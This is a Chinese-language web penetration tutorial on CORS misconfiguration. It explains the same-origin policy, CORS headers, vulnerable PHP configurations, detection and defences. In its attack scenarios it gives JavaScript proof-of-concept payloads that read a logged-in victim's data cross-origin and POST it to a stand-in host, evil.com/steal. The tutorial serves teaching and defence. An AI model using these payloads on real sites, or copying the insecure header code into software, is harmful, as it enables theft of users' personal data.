Web渗透之前后端漏洞-CORS跨越访问漏洞

本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、同源策略SOP基础1.1 什么是同源策略1.2 同源策略限制的内容二、CORS 的作用与机制2.1 为什么需要 CORS2.2 CORS 的工作流程2.3 简单请求与预检请求三、CORS 相关响应头详解四、CORS 漏洞的产生原因4.1 典型错误配置4.2 代码示例PHP 错误配置五、CORS 漏洞的攻击实例5.1 场景反射 Origin 允许凭证5.2 场景白名单绕过利用子域名或后缀5.3 场景利用 null Origin六、CORS 漏洞的检测方法6.1 手工检测6.2 自动化检测6.3 注意点七、CORS 漏洞的防御措施7.1 严格配置 Access-Control-Allow-Origin7.2 避免 null Origin 被利用7.3 限制 Access-Control-Allow-Methods 和 Access-Control-Allow-Headers7.4 配置 vary: Origin7.5 敏感数据不依赖 Cookie 认证7.6 内网 API 禁用 CORS 或限制来源7.7 使用 Content-Security-Policy 中的 frame-ancestors 辅助防御7.8 安全审计与监控八、CORS 漏洞与相关漏洞的对比九、CORS 安全配置最佳实践清单十、总结一、同源策略SOP基础1.1 什么是同源策略同源策略Same-Origin PolicySOP是浏览器最核心的安全机制之一它限制了一个源的文档或脚本如何与另一个源的资源进行交互。源由三部分组成协议Protocolhttp/https/ftp等域名Domainexample.com/api.example.com端口Port:80/:443/:8080同源判定规则只有当协议、域名、端口三者完全一致时才被认为是同源。URL AURL B是否同源原因https://example.com/pagehttps://example.com/api是协议、域名、端口相同http://example.com/pagehttps://example.com/api否协议不同http vs httpshttps://example.com:443https://api.example.com否域名不同子域名不同https://example.com:8080https://example.com:80否端口不同1.2 同源策略限制的内容DOM 访问禁止脚本读取不同源页面的 DOM如iframe.contentWindow。Cookie / Storage禁止脚本读取不同源的 Cookie、LocalStorage。XMLHttpRequest / Fetch禁止向不同源发送 AJAX 请求并读取响应除非目标服务器明确允许。例外img、script、link、iframe等标签可以跨域加载资源但不能读取响应内容例如img只显示图片无法用 JS 读取图片的二进制数据。二、CORS 的作用与机制2.1 为什么需要 CORS现代 Web 应用往往需要跨域访问 API例如前端https://front.com访问后端https://api.back.com。CORS 提供了一种安全的方式让服务器主动声明允许哪些源访问其资源。2.2 CORS 的工作流程当一个跨域请求发生时浏览器会自动在请求中添加Origin头例如GET /api/user HTTP/1.1 Host: api.example.com Origin: https://front.example.com服务器返回响应时可以包含 CORS 响应头HTTP/1.1 200 OK Access-Control-Allow-Origin: https://front.example.com Access-Control-Allow-Credentials: true Content-Type: application/json浏览器检查响应头如果Access-Control-Allow-Origin的值等于请求的Origin或为*则允许将响应内容返回给前端脚本否则拒绝访问。2.3 简单请求与预检请求简单请求满足以下条件的请求不会触发预检OPTIONS 请求方法为GET、POST、HEAD仅使用简单头Accept、Accept-Language、Content-Language、Content-Type仅限application/x-www-form-urlencoded、multipart/form-data、text/plain非简单请求例如PUT、DELETE、自定义头、application/json会先发送一个OPTIONS 预检请求询问服务器是否允许实际请求。三、CORS 相关响应头详解响应头作用取值示例Access-Control-Allow-Origin指定允许访问的源*允许任意源但不能与credentials同时使用https://trusted.comAccess-Control-Allow-Credentials是否允许携带 Cookietrue允许或省略不允许Access-Control-Allow-Methods允许的 HTTP 方法用于预检响应GET, POST, PUT, DELETEAccess-Control-Allow-Headers允许的自定义请求头用于预检响应X-Custom-Header, Content-TypeAccess-Control-Expose-Headers允许前端访问的响应头X-Total-Count, X-CustomAccess-Control-Max-Age预检结果缓存时间秒86400四、CORS 漏洞的产生原因CORS 漏洞的根本原因是服务器配置不当导致攻击者可以绕过同源策略窃取敏感数据或执行未授权操作。4.1 典型错误配置错误配置描述风险反射任意 Origin服务器读取请求中的Origin头直接设置为Access-Control-Allow-Origin的值攻击者可伪造任意 Origin读取任何跨域数据Access-Control-Allow-Origin: \*且允许凭证虽然浏览器规范禁止*与credentials: true同时使用但某些实现或配置错误可能导致依然生效任何网站都可以携带 Cookie 读取数据白名单验证不严格例如检查Origin是否包含example.com攻击者可以使用https://example.com.attacker.com绕过攻击者可构造符合规则的恶意域名允许nullOrigin某些特殊环境如sandboxed iframe的 Origin 为null服务器如果允许null攻击者可利用通过 sandbox iframe 发起攻击预检响应过于宽松允许所有方法、所有头且缓存时间过长攻击者可进行更多类型的跨域操作内网 API 未加限制内网服务直接返回Access-Control-Allow-Origin: *攻击者可利用恶意页面探测内网4.2 代码示例PHP 错误配置// 错误直接反射 Origin $origin $_SERVER[HTTP_ORIGIN] ?? ; header(Access-Control-Allow-Origin: $origin); header(Access-Control-Allow-Credentials: true); ​ // 错误使用 * 且允许凭证某些服务器会忽略浏览器限制 header(Access-Control-Allow-Origin: *); header(Access-Control-Allow-Credentials: true); ​ // 错误白名单验证不严谨 if (strpos($origin, example.com) ! false) { header(Access-Control-Allow-Origin: $origin); }五、CORS 漏洞的攻击实例5.1 场景反射 Origin 允许凭证目标https://api.example.com/user返回当前登录用户的个人信息姓名、邮箱、手机号。服务器配置读取Origin头并反射为Access-Control-Allow-Origin设置Access-Control-Allow-Credentials: true攻击者拥有域名https://evil.com攻击步骤受害者登录https://api.example.com获得会话 Cookie。攻击者发送钓鱼邮件诱导受害者访问https://evil.com/attack.html。attack.html内容如下script fetch(https://api.example.com/user, { credentials: include }) .then(res res.json()) .then(data { // 将窃取的数据发送到攻击者服务器 fetch(https://evil.com/steal, { method: POST, body: JSON.stringify(data) }); }); /script受害者浏览器执行该脚本发起跨域请求到https://api.example.com/user携带 Cookie。服务器收到请求Origin: https://evil.com响应头Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true浏览器检查通过将响应数据用户信息返回给攻击者的脚本。攻击者的脚本将数据发送到https://evil.com/steal完成数据窃取。5.2 场景白名单绕过利用子域名或后缀假设服务器白名单检查代码if (preg_match(/\.example\.com$/, $origin)) { header(Access-Control-Allow-Origin: $origin); }攻击者可注册域名https://evil.example.com.attacker.com或https://example.com.attacker.com如果允许此类模式或者利用https://example.com.attacker.org包含example.com但不在末尾。5.3 场景利用nullOrigin服务器配置允许Access-Control-Allow-Origin: null。攻击者利用sandboxed iframe发起请求其Origin为nulliframe sandboxallow-scripts allow-same-origin srcdata:text/html,script fetch(https://api.example.com/user, {credentials: include}) .then(rr.json()) .then(dfetch(https://evil.com/steal,{method:POST,body:JSON.stringify(d)})) /script/iframe六、CORS 漏洞的检测方法6.1 手工检测查看响应头使用浏览器开发者工具Network 面板或 Burp Suite检查目标 API 响应中是否包含Access-Control-Allow-Origin。测试 Origin 反射使用 Burp Repeater 修改请求中的Origin头观察响应头是否与请求的Origin一致。测试携带凭证在浏览器控制台中执行以下代码需用户已登录fetch(https://api.example.com/sensitive-endpoint, { credentials: include }).then(res res.text()).then(console.log);如果能够输出数据说明存在漏洞。测试白名单绕过尝试各种变形的 Origin如https://example.com.attacker.com、https://attacker.com?originexample.com、https://evilexample.com等。6.2 自动化检测Burp Suite 扩展CORS Scanner、Corsy命令行工具corsyPython、CORS_Check扫描器AWVS、Nessus、OpenVAS 的 CORS 检测模块6.3 注意点仅当 API 返回敏感数据或执行敏感操作时CORS 漏洞才有实际危害。有些 API 可能只对特定路径启用 CORS需全面探测。七、CORS 漏洞的防御措施7.1 严格配置Access-Control-Allow-Origin不要反射 Origin不要使用*与credentials同时出现。使用白名单将允许的源明确列出仅当请求的 Origin 在白名单内时才返回该 Origin。推荐做法Python Flask 示例ALLOWED_ORIGINS { https://trusted-front.com, https://admin.example.com } origin request.headers.get(Origin) if origin in ALLOWED_ORIGINS: response.headers[Access-Control-Allow-Origin] origin response.headers[Access-Control-Allow-Credentials] true7.2 避免nullOrigin 被利用不要将null加入白名单。7.3 限制Access-Control-Allow-Methods和Access-Control-Allow-Headers仅允许业务必须的方法和头例如只允许GET不允许PUT/DELETE。不要允许*。7.4 配置vary: OriginVary: Origin告诉缓存服务器CDN、反向代理根据Origin头分别缓存响应避免将带有 CORS 头的响应返回给错误的用户。7.5 敏感数据不依赖 Cookie 认证使用Authorization: Bearer token头代替 Cookie 会话这样浏览器不会自动携带且不受 CORS 凭证限制。但需要注意前端存储 Token 时的 XSS 风险。7.6 内网 API 禁用 CORS 或限制来源内部管理接口不应该对公网开放 CORS。如果必须开放应限制为内部域名。7.7 使用Content-Security-Policy中的frame-ancestors辅助防御虽然不能直接防御 CORS 数据泄露但可以防止页面被嵌入恶意 iframe。7.8 安全审计与监控定期扫描 CORS 配置。对异常 Origin 请求进行监控和告警。八、CORS 漏洞与相关漏洞的对比漏洞类型核心机制攻击目标利用方式CORS 配置错误跨域读取资源数据泄露窃取用户信息、Token 等AJAX 携带凭证CSRF状态变更伪造请求转账、改密码等表单、图片、AJAXXSS注入脚本执行窃取 Cookie、劫持会话存储/反射/DOM 注入SSRF服务端发起请求内网探测、攻击内部服务控制 URL 参数注意CORS 漏洞常常与 CSRF 结合攻击者先通过 CORS 读取 CSRF Token再发起 CSRF 攻击。九、CORS 安全配置最佳实践清单避免反射 Origin使用静态白名单。白名单应使用完整源协议域名端口不要使用正则模糊匹配。不允许nullOrigin。Access-Control-Allow-Credentials: true必须与明确的白名单 Origin 配合不能与\*同用。限制Access-Control-Allow-Methods为最小必要如GET, POST避免PUT, DELETE。设置Access-Control-Max-Age为合理值如86400但不宜过长。添加Vary: Origin响应头。非必要不对内网 API 开启 CORS。定期审计使用自动化工具。十、总结CORS 是突破浏览器同源策略的合法机制但错误的配置会使其变成严重的安全漏洞。攻击者利用反射 Origin、宽松白名单、允许携带凭证等配置缺陷可以跨域窃取用户敏感数据。防御的核心是严格白名单 最小权限 动态验证。开发者应把 CORS 配置视为安全策略的一部分而非简单的功能开关。